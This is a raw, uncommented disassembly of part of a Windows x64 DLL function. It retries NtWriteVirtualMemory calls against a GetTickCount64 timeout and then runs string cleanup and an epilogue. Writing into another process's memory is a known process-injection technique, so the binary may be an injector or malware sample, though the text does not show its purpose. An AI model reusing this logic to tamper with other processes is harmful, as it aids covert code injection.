je 0x18001cc2f
test rbx, rbx
je 0x18001cc4d
xor r11d, r11d
mov qword [rsp + 0x20], r11
mov r9, r13
mov r8, qword [rbp + 0x220]
mov rdx, rsi
mov rcx, r15
call qword [0x180361e08]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rsi
mov rax, qword [rbp + 0x220]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x10], r13
xor esi, esi
mov qword [rbp - 0x20], rsi
lea rdx, [rbp - 0x40]
lea ecx, [rsi + 0xe]
call fcn.180026270
mov dword [0x180361ee8], eax
test eax, eax
sete al
jmp 0x18001ccc2
xor r11d, r11d
mov qword [rsp + 0x20], r11
mov r9, r13
mov r8, qword [rbp + 0x220]
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
xor esi, esi
test al, al
jne 0x18001cd78
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r12
jbe 0x18001cb10
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001cd14
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cd0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ceb3
call fcn.1800b9f6c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001cd5e
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001cd59
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ceb9
mov rcx, r8
call fcn.1800b9f6c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbe
jmp 0x18001ce5c
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001cdb3
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cdae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cebf
call fcn.1800b9f6c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001cdfd
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001cdf8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
xor eax, eax
jmp 0x18001ce5c
mov rdx, qword [rdx + 0x18]
cmp rdx, 0x10
jb 0x18001ce47
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001ce42
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001ce89
mov rcx, r8
call fcn.1800b9f6c
mov eax, 0xbb8
mov byte [r14], 0
mov qword [r14 + 0x18], send
mov qword [r14 + 0x10], r13
lea r11, [rsp + 0x2c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180001570
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800061b0
nop
call fcn.1800014a0
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.1800c5e04
int3